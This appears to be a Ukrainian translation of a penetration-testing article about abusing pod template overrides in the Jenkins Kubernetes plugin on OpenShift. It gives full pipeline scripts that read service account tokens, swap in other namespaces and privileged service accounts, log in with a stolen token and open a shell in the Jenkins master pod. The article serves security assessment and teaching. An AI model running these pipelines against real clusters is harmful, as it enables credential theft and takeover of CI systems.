Jenkins в Openshift - переопределення подів збірки
Reading time: 4 minutes
Оригінальний автор цієї сторінки Fares
Плагін Kubernetes для Jenkins
Цей плагін в основному відповідає за основні функції Jenkins всередині кластера openshift/kubernetes. Офіційна документація тут Він пропонує кілька функціональностей, таких як можливість для розробників переоприділити деякі стандартні конфігурації пода збірки jenkins.
Основна функціональність
Цей плагін дозволяє розробникам гнучкість при збірці їхнього коду в належному середовищі.
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: maven
image: maven:3.8.1-jdk-8
command:
- sleep
args:
- 99d
''') {
node(POD_LABEL) {
stage('Get a Maven project') {
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
container('maven') {
stage('Build a Maven project') {
sh 'mvn -B -ntp clean install'
}
}
}
}
}
Деякі зловживання, що використовують переопределення pod yaml
Однак його можна зловживати, щоб використовувати будь-який доступний образ, наприклад Kali Linux, і виконувати довільні команди, використовуючи попередньо встановлені інструменти з цього образу. У наведеному нижче прикладі ми можемо ексфільтрувати токен serviceaccount запущеного pod.
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: kali
image: myregistry/mykali_image:1.0
command:
- sleep
args:
- 1d
''') {
node(POD_LABEL) {
stage('Evil build') {
container('kali') {
stage('Extract openshift token') {
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
}
}
}
}
}
Інший синтаксис для досягнення тієї ж мети.
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
Приклад для переопределення простору імен пода
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: RANDOM-NAMESPACE
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
Ще один приклад, який намагається змонтувати serviceaccount (який може мати більше прав, ніж за замовчуванням, що виконує вашу збірку) на основі його імені. Вам, можливо, потрібно буде спочатку вгадати або перерахувати існуючі serviceaccounts.
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: MY_SERVICE_ACCOUNT
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
Така ж техніка застосовується для спроби монтування Secret. Кінцева мета полягає в тому, щоб зрозуміти, як налаштувати збірку вашого пода для ефективного повороту або отримання привілеїв.
Йдемо далі
Як тільки ви звикнете грати з цим, використовуйте свої знання про Jenkins та Kubernetes/Openshift, щоб знайти неправильні налаштування / зловживання.
Запитайте себе наступні питання:
- Який обліковий запис служби використовується для розгортання збірок подів?
- Які ролі та дозволи він має? Чи може він читати секрети простору імен, в якому я зараз знаходжусь?
- Чи можу я далі перерахувати інші збірки подів?
- З компрометованого sa, чи можу я виконувати команди на майстер-ноді/поду?
- Чи можу я далі перерахувати кластер, щоб перейти в інше місце?
- Який SCC застосовується?
Ви можете дізнатися, які команди oc/kubectl видавати тут і тут.
Можливі сценарії підвищення привілеїв/повороту
Припустимо, що під час вашої оцінки ви виявили, що всі збірки jenkins виконуються в просторі імен під назвою worker-ns. Ви з'ясували, що на збірках подів змонтовано обліковий запис служби за замовчуванням під назвою default-sa, однак у нього не так багато дозволів, крім доступу на читання до деяких ресурсів, але ви змогли ідентифікувати існуючий обліковий запис служби під назвою master-sa. Припустимо також, що у вас встановлена команда oc всередині працюючого контейнера збірки.
З наведеним нижче скриптом збірки ви можете взяти під контроль обліковий запис служби master-sa і далі перерахувати.
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: master-sa
containers:
- name: evil
image: random_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
sh 'oc --token=$token whoami'
}
}
}
}
}
}
Залежно від вашого доступу, вам потрібно або продовжити вашу атаку з скрипту збірки, або ви можете безпосередньо увійти як цей sa на запущеному кластері:
oc login --token=$token --server=https://apiserver.com:port
Якщо цей sa має достатньо прав (наприклад, pod/exec), ви також можете взяти під контроль цілу інстанцію jenkins, виконуючи команди всередині пода майстер-нод, якщо він працює в тій же області імен. Ви можете легко ідентифікувати цей под за його назвою та тим фактом, що він повинен монтувати PVC (постійний об'єм запиту), який використовується для зберігання даних jenkins.
oc rsh pod_name -c container_name
У випадку, якщо под майстер-нод не працює в тому ж просторі імен, що й робітники, ви можете спробувати подібні атаки, націлюючись на простір імен майстра. Припустимо, він називається jenkins-master. Майте на увазі, що serviceAccount master-sa має існувати в просторі імен jenkins-master (і може не існувати в просторі імен worker-ns).